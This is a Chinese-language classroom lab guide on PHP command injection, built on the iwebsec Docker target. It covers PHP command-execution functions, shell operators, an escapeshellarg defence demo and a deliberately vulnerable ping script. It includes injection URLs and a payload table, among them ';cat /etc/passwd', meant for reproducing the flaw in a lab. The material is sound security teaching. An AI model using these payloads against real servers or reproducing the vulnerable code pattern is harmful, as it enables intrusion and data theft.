
[bookmark: heading_0]命令执行漏洞 5.1+5.2 详细操作文档
适用环境：主机直接访问 + iwebsec (Docker)
靶机 IP：192.168.44.128
文档用途：课堂教学、实验操作、实验报告直接提交

[bookmark: heading_1]一、项目概述
[bookmark: heading_2]1. 漏洞定义
[bookmark: _GoBack]命令执行漏洞是指 Web 应用接收用户输入后未做过滤与转义，直接将可控数据拼接到系统命令中执行，导致攻击者可在服务器上执行任意系统命令，进而控制服务器、读取敏感数据、植入木马等。
[bookmark: heading_3]2. 学习目标
1. 掌握 PHP 中常见命令执行函数。
2. 掌握 Linux 常用命令连接符的用法与执行规则。
3. 理解命令执行漏洞成因、危害与利用方式。
4. 掌握漏洞复现方法。
5. 掌握escapeshellarg()防御函数的使用与原理。
[bookmark: heading_4]3. 实验环境
· 攻击机：本机主机（Windows/macOS）
· 靶机：iwebsec（Docker 容器）
· IP：[192.168.44.128](192.168.44.128)
· 实验目录：/var/www/html/test_exec/
· 漏洞目录：/var/www/html/exec/

[bookmark: heading_5]第一部分 任务 5.1 命令执行函数与命令连接符
[bookmark: heading_6]5.1.1 PHP 常用命令执行函数
	函数
	功能
	输出特点

	system()
	执行系统命令
	直接输出到页面

	exec()
	执行系统命令
	不自动输出，存入数组

	shell_exec()
	执行 Shell 命令
	返回完整字符串

	反引号 `
	同 shell_exec
	返回字符串


[bookmark: heading_7]5.1.2 testExec.php 源码与逐行审计
	php
<?php
// 定义命令：查看根目录文件
$command = 'ls /';

// exec 执行，结果存入数组
exec($command, $output, $return_var);
echo "exec执行结果: ";
print_r($output);
echo "</br>";

// shell_exec 执行，返回字符串
$output = shell_exec($command);
echo "shell_exec执行结果: " . $output . "</br>";

// system 直接执行并输出
echo "system执行结果:";
system($command);
echo "</br>";

// 反引号执行
$output = `$command`;
echo "反引号执行结果: " . $output . "</br>";

// 分号 ; 依次执行多条命令
$multiple_commands = 'whoami; date';
echo "分号; 执行结果: ";
echo shell_exec($multiple_commands);
echo "</br>";

// && 前成功才执行后
$conditional_commands = 'cd /var/www && ls';
echo "&& 连接符结果: ";
echo shell_exec($conditional_commands);
echo "</br>";

// || 前失败才执行后
$fallback_commands = 'cd /path/does/not/exist || echo "路径不存在"';
echo "|| 连接符结果: ";
echo shell_exec($fallback_commands);
?>


[bookmark: heading_8]代码说明
1. $command = 'ls /'：设置查看根目录命令。
2. exec()：执行命令，结果存入数组，需打印查看。
3. shell_exec()：执行命令并返回完整字符串。
4. system()：直接执行并自动输出。
5. 反引号：功能同shell_exec()。
6. ;：顺序执行多条命令。
7. &&：前一条执行成功，才执行后一条。
8. ||：前一条执行失败，才执行后一条。

[bookmark: heading_9]5.1.3 Linux 命令连接符实操练习
[bookmark: heading_10]1. 和号操作符 &
作用：命令后台运行，不占用终端
	bash
ping 127.0.0.1 -c 2 &


[bookmark: heading_11]2. 分号操作符；
作用：顺序执行多条命令，互不影响
	bash
echo "命令1"; echo "命令2"; ls /


[bookmark: heading_12]3. 逻辑与 &&
作用：前成功 → 后执行
	bash
cd /var/www && ls


[bookmark: heading_13]4. 逻辑或 ||
作用：前失败 → 后执行
	bash
cd /test123 || echo "目录不存在"


[bookmark: heading_14]5. 管道符 |
作用：前命令输出作为后命令输入
	bash
ls -l | grep "Mar"


[bookmark: heading_15]6. 重定向符 > >> <
· > 覆盖写入文件
· >> 追加写入
· < 从文件读取内容

[bookmark: heading_16]5.1.4 防御演示：repairExec.php 源码与分析
	php
<?php
// 获取用户输入
$userInput = $_GET['user_input'];

// 安全过滤
$safeInput = escapeshellarg($userInput);

// 安全执行命令
$command = "grep $safeInput /var/log/httpd/access_log";
$output = shell_exec($command);

echo "执行结果:".$output;
?>


[bookmark: heading_17]escapeshellarg () 作用
1. 给用户输入自动包裹单引号，变为纯字符串。
2. 转义 ; | && || > < 等危险符号。
3. 使用户输入无法断开命令、无法注入新命令。
4. 从根源阻止命令执行漏洞。
[bookmark: heading_18]防御效果验证
访问地址：
	Plain Text
http://192.168.44.128/test_exec/repairExec.php?user_input=test


页面正常返回日志中含test的记录，无命令注入。
[bookmark: heading_19]注入测试对比
	Payload
	无过滤结果
	使用 escapeshellarg 结果
	结论
	

	test;cat /etc/passwd
	执行 cat 读取用户
	仅 grep 搜索
	防御成功
	

	test
	id
	截断执行 id
	仅 grep 搜索
	防御成功

	test&&ls
	执行 ls 列出目录
	仅 grep 搜索
	防御成功
	



[bookmark: heading_20]第二部分 任务 5.2 命令执行漏洞复现
[bookmark: heading_21]5.2.1 漏洞原理
漏洞文件/exec/01.php直接将用户输入拼接到ping命令，无任何过滤，可被注入任意系统命令。
[bookmark: heading_22]漏洞源码
	php
<?php
$ip = $_GET['ip'];
system("ping -c 3 ".$ip);
?>



[bookmark: heading_23]5.2.2 漏洞复现步骤（主机直接访问）
[bookmark: heading_24]步骤 1：正常访问
	Plain Text
http://192.168.44.128/exec/01.php?ip=127.0.0.1


效果：正常执行 ping。
[bookmark: heading_25]步骤 2：管道符 | 执行 ifconfig
	Plain Text
http://192.168.44.128/exec/01.php?ip=127.0.0.1|ifconfig


效果：显示网卡信息。
[bookmark: heading_26]步骤 3：管道符 | 执行 netstat
	Plain Text
http://192.168.44.128/exec/01.php?ip=127.0.0.1|netstat


效果：显示网络连接。
[bookmark: heading_27]步骤 4：分号；执行 whoami
	Plain Text
http://192.168.44.128/exec/01.php?ip=127.0.0.1;whoami


效果：显示当前用户。
[bookmark: heading_28]步骤 5：读取敏感文件 /etc/passwd
	Plain Text
http://192.168.44.128/exec/01.php?ip=127.0.0.1;cat /etc/passwd


效果：读取系统用户文件，漏洞利用成功。

[bookmark: heading_29]5.2.3 常用 Payload
	Payload
	效果
	
	

	[127.0.0.1](127.0.0.1);whoami
	顺序执行
	
	

	[127.0.0.1](127.0.0.1)
	ifconfig
	截断执行
	

	[127.0.0.1](127.0.0.1)&&ls
	前成功后执行
	
	

	test
	
	id
	前失败后执行

	[127.0.0.1](127.0.0.1);cat /etc/passwd
	读取敏感文件
	
	



[bookmark: heading_30]三、项目 5 总结
[bookmark: heading_31]1. 知识点汇总
· 5.1：命令执行函数、命令连接符、escapeshellarg()防御。
· 5.2：漏洞成因、复现步骤、Payload 构造。
[bookmark: heading_32]2. 漏洞与防御对比
	文件
	类型
	过滤
	状态

	testExec.php
	教学演示
	无
	无输入点

	repairExec.php
	防御演示
	escapeshellarg
	安全

	exec/01.php
	漏洞演示
	无
	高危漏洞


[bookmark: heading_33]3. 防御方法
1. 使用escapeshellarg()/escapeshellcmd()转义输入。
2. 不直接拼接用户输入到系统命令。
3. 限制命令执行函数使用。
4. 使用白名单校验输入格式。

[bookmark: heading_34]四、Docker 快速操作命令
	bash
docker exec -it bc23a49cb37c /bin/bash
cd /var/www/html/test_exec
cat testExec.php
cat repairExec.php
cd ../exec
cat 01.php




